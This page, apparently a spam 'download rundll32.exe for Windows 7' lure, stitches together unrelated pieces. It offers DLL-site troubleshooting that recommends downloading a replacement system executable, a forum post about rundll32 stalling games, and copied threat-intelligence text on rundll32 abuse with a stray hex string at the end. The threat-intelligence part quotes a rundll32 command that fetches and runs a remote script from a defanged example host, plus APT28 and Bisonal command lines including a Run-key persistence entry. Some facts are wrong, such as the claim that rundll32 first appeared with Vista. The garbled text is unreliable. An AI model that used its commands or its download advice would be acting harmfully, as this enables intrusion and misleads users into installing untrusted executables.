!!EXCLUSIVE!! Download Rundll32 Exe Windows 7
The development of Microsoft Windows Operating System by Microsoft prompted the latest creation of rundll32.exe. It is also known as a Windows host process (Rundll32) file (file extension EXE), which is classified as a type of Win32 EXE (Executable application) file.

The first version of rundll32.exe was released for the Windows Vista Operating System on 11/08/2006 inside Windows Vista. The most recent version [file version 10.0.15063.0 (WinBuild.160101.0800)] was introduced on 07/29/2015 for Windows 10. Rundll32.exe is included with Windows 10, Windows 8.1, and Windows 8.
Runtime errors are Windows errors that occur during "runtime". Runtime is pretty self-explanatory; it means that these EXE errors are triggered when rundll32.exe is attempted to be loaded either when Windows is starting up, or in some cases already running. Runtime errors are the most common form of EXE error you will encounter using Windows.
In most cases, rundll32.exe runtime errors occurring while the program is running will result in the program terminating abnormally. Most of these rundll32.exe error messages mean that Windows was either unable to locate this file on startup, or the file is corrupt, resulting in a prematurely-aborted startup process. Generally, Windows will be unable to start without resolving these errors.
Finding the source of the rundll32.exe error is key to properly resolving these errors. Although most of these EXE errors affecting rundll32.exe will happen during startup, occasionally you will encounter a runtime error while using Microsoft Windows Operating System. This can occur due to poor programming on behalf of Microsoft Corporation, conflicts with other software or 3rd-party plug-ins, or caused by damaged and outdated hardware. Also, these types of rundll32.exe errors can occur if it has been accidentally moved, deleted, or corrupted by a malware infection. Thus, it's critical to make sure your anti-virus is kept up-to-date and scanning regularly.
If you're encountering one of the error messages above, follow these troubleshooting steps to resolve your rundll32.exe issue. These troubleshooting steps are listed in the recommended order of execution.
System File Checker is a utility included with every Windows version that allows you scan and restore corrupted system files. Use the SFC tool to fix missing or corrupt rundll32.exe files (Windows XP, Vista, 7, 8, and 10):
When the first two steps haven't solved your issue, it might be a good idea to run Windows Update. Many rundll32.exe error messages that are encountered can be contributed to an outdated Windows Operating System. To run Windows Update, please follow these easy steps:
If none of the previous three troubleshooting steps have resolved your issue, you can try a more aggressive approach (Note: Not recommended for amateur PC users) by downloading and replacing your appropriate rundll32.exe file version. We maintain a comprehensive database of 100% malware-free rundll32.exe files for every applicable version of Windows. Please follow the steps below to download and properly replace you file:
GEEK TIP : We must emphasize that reinstalling Windows will be a very time-consuming and advanced task to resolve rundll32.exe problems. To avoid data loss, you must be sure that you have backed-up all of your important documents, pictures, software installers, and other personal data before beginning the process. If you are not currently backing up your data, you need to do so immediately.
CAUTION : We strongly advise against downloading and copying rundll32.exe to your appropriate Windows system directory. Microsoft typically does not release Windows EXE files for download because they are bundled together inside of a software installer. The installer's task is to ensure that all correct verifications have been made before installing and placing rundll32.exe and all other EXE files for Windows. An incorrectly installed EXE file may create system instability and could cause your program or operating system to stop functioning altogether. Proceed with caution.
In that thread, I found a common link with another problem I've encountered in Win7 64 bit. Sometimes, the Rise of Legends game will not start. Investigating that problem turned up rundll32.exe sitting there chewing up a full core of the processor as a sub-branch of a process tree under legends.exe (the game itself). Killing legends.exe and leaving rundll32.exe isolated (but still chewing the full core of the processor!) cures the problem and RoL starts ok. This is an intermittent problem but is consistent across a session. That is, for a given session it will either always work ok or will not work at all and needs the aforementioned 'fix'.
The reason for this post is that it's now occuring on my other machine (also Win7 64 bit) on a different piece of software - the game Black and White 2. This now shows the same symptoms as for RoL - rundll32.exe chewing up one of the processor's cores and nothing happening. The 'fix' is the same as for RoL - kill the white.exe process (the Black and White 2 game) leaving rundll32.exe still running and restart the game. Up until today, this other PC has been running B&W2 with no problems (someone else got hooked on the game and has been playing it on that machine for the last couple of weeks when I'm not using it for 'serious stuff'). The only changes on that PC since yesterday were a load of Microsoft Updates last night when the machine was closed down:
PC1 - Windows XP Mode appeared to be fixed (and more responsive) after following Ankito's instructions. The rundll32.exe problem had disappeared after yet another batch of Windows Updates about a week earlier anyway.
(Despite the huge download penalty - over 900Mb for the 'one size fits all' version! Why does the worldassume broadband over the entire planet? Australia is far from backward in technology but it is ahuge place and really fast broadband is limited to the cities. The 'National Broadband Network' rollout from our government holds some promise but the timescale is a bit unrealistic in this fast-paced world.)
More telling is that the problem with rundll32.exe and some 32-bit games has also come back! I'm still convinced these two issues are related - when Win7 64-bit runs 32-bit software, doesn't it also do it in a VM?
As RunDLL error might occur due to some bugs on the system, you can try updating your Windows. Although Windows 10 can download and install the latest updated automatically, you need to check for updates manually sometimes.
Once you have downloaded your new driver, you'll need to install it. In Windows, use a built-in utility called Device Manager, which allows you to see all of the devices recognized by your system, and the drivers associated with them.
Rundll32.exe problems are generally seen during Malwarebytes Anti-Malware Premuim program launch, and typically caused by executable file corruption, or in some cases if the file has been accidentally or maliciously removed by malware. Downloading and replacing your EXE file can fix the problem in most cases. In some cases, the Windows registry is attempting to load a rundll32.exe file that no longer exists, therefore we recommend running a registry scan to repair any invalid file path references.
Once the file is successfully placed in the right location on you hard drive, these rundll32.exe issues should disappear. Running a quick verification test is highly recommend. To confim it's resolved, try starting up Malwarebytes Anti-Malware Premuim to see if the error can be triggered.
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe DLLname, DLLfunction).
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. [1]
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. [2]
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.[3][4] DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
APT28 executed CHOPSTICK by using rundll32 commands such as rundll32.exe "C:\Windows\twain_64.dll". APT28 also executed a .dll for a first stage dropper using rundll32.exe. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.[8][6][9][10][11][12]
Bisonal has used rundll32.exe to execute as part of the Registry Run key it adds: HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\"vert" = "rundll32.exe c:\windows\temp\pvcu.dll , Qszdez".[23]
Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. 350c69d7ab
